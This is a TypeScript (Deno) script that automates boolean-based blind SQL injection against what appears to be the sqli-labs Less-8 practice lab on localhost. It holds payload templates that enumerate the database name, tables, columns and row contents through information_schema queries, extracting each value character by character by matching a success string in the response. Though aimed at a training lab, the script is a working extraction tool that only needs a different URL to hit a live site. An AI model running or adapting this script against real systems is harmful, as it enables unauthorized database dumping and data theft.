import InputLoop from "https://deno.land/x/input/index.ts";

const flag = "You are in..........."
const range = (start, end) => Array(end - start + 1).fill().map((_, idx) => start + idx)

// . @ _ 
const charset = range(48, 57).concat([46,64,95]).concat(range(97, 122))
const numset = range(1, 30)

const conds = {
    // 1.1 db length
    db_len: () => `length(database())=${i}`,

    // 1.2 db name
    db_name: () => `ascii(substr(database(),${i},1))=${c}`,

    // 2.1 amount
    tb_count: () => `(select count(*)table_name from information_schema.tables where table_schema='${db_name}')=${i}`,
    // 2.2 lengths
    tb_lens: () => `(select length(table_name) from information_schema.tables where table_schema='${db_name}' limit ${lim},1)=${i}`,
    // 2.3 names
    tb_names: () => `ascii(substr((select table_name from information_schema.tables where table_schema='${db_name}' limit ${lim},1),${i},1))=${c}`,

    // 3 colmns
    col_count: () => `(select count(*)column_name from information_schema.columns where table_schema='${db_name}'and table_name='${tb_in}')=${i}`,
    col_lens: () => `(select length(column_name) from information_schema.columns where table_schema='${db_name}' and table_name='${tb_in}' limit ${lim},1)=${i}`,
    col_names: () => `ascii(substr((select column_name from information_schema.columns where table_schema='${db_name}' and table_name='${tb_in}' limit ${lim},1),${i},1))=${c}`,

    // 4. data
    data_count: () => `(select count(${col_in}) from ${tb_in})=${i}`,
    data_lens: () => `(select length(${col_in}) from ${tb_in} limit ${lim},1)=${i}`,
    data_names: () => `ascii(substr((select ${col_in} from ${tb_in} limit ${lim},1),${i},1))=${c}`,
}


let cond = ""
let lim = 0, i = 0, c = 0
let len = 1
let lens = []
let amount = 0
let db_name = ""
let tb_in = ""
let cols_in = []
let col_in = ""
const datass = {}

const get_url = () => `http://localhost:8080/sqli-labs/Less-8/?id=1%27and%20if(${conds[cond]()},1,0)%23`

// 01. get_length()

const get_length = async () => {

    let l = 0

    for (i of numset) {
        const url = get_url()
        // status 0 表示正常退出
        const res = await fetch(url, {
            method: "GET"
        }).then(res => res.text())
        if (res.search(flag) != -1) {
            l = i;
            break;
        }
    }
    return l
}

// 设置好 url，a：cond 自动获取
const get_lengths = async () => {
    // read amount
    let l
    lens = []
    for (lim of range(0, amount - 1)) {
        lens.push(await get_length())
    }
    return lens
}

const get_name = async (len) => {
    let name = ""

    for (i of range(1, len)) {
        for (c of charset) {
            const url = get_url()
            // status 0 表示正常退出
            const res = await fetch(url, {
                method: "GET"
            }).then(res => res.text())

            if (res.search(flag) != -1) {
                name = name + String.fromCharCode(c)
                break
            }
        }
    }
    return name
}

const lens_2_names = async () => {
    const names = []
    for (lim of range(1, amount)) {
        len = lens[--lim]
        names.push(await get_name(len))
    }

    return names
}


// run

const run = async () => {

    // 0: dbname

    cond = "db_len"

    len = await get_length();

    cond = "db_name"

    db_name = await get_name(len);

    console.log(`db_name is: `, db_name)


    // start input
    const input = new InputLoop();
    // 1. enter db to tables
    const db_in = await input.question('Enter db name: ', false);
    console.log('@@: db_in: ', db_in)

    cond = "tb_count"

    amount = await get_length()

    cond = "tb_lens"
    lens = await get_lengths()

    cond = "tb_names"
    const tb_names = await lens_2_names();
    console.log(`tables: ${tb_names}`)

    // 2. enter tb to cols
    tb_in = await input.question('Enter table name: ', false);
    console.log('@@: tb_in: ', tb_in)

    cond = "col_count"
    amount = await get_length()

    cond = "col_lens"
    lens = await get_lengths()

    cond = "col_names"
    const col_names = await lens_2_names()
    console.log("col_names: ", col_names)

    // 2. enter cols to datas
    cols_in = await input.question('Enter columns: ', false);
    cols_in = cols_in.split(",")
    console.log("@@ cols_in", cols_in)


    for (col_in of cols_in) {
        cond = "data_count"
        amount = await get_length()

        cond = "data_lens"
        lens = await get_lengths()

        cond = "data_names"
        const datas = await lens_2_names()

        datass[col_in] = datas
    }


    console.log("datass: ", datass)
    input.close()
}

run()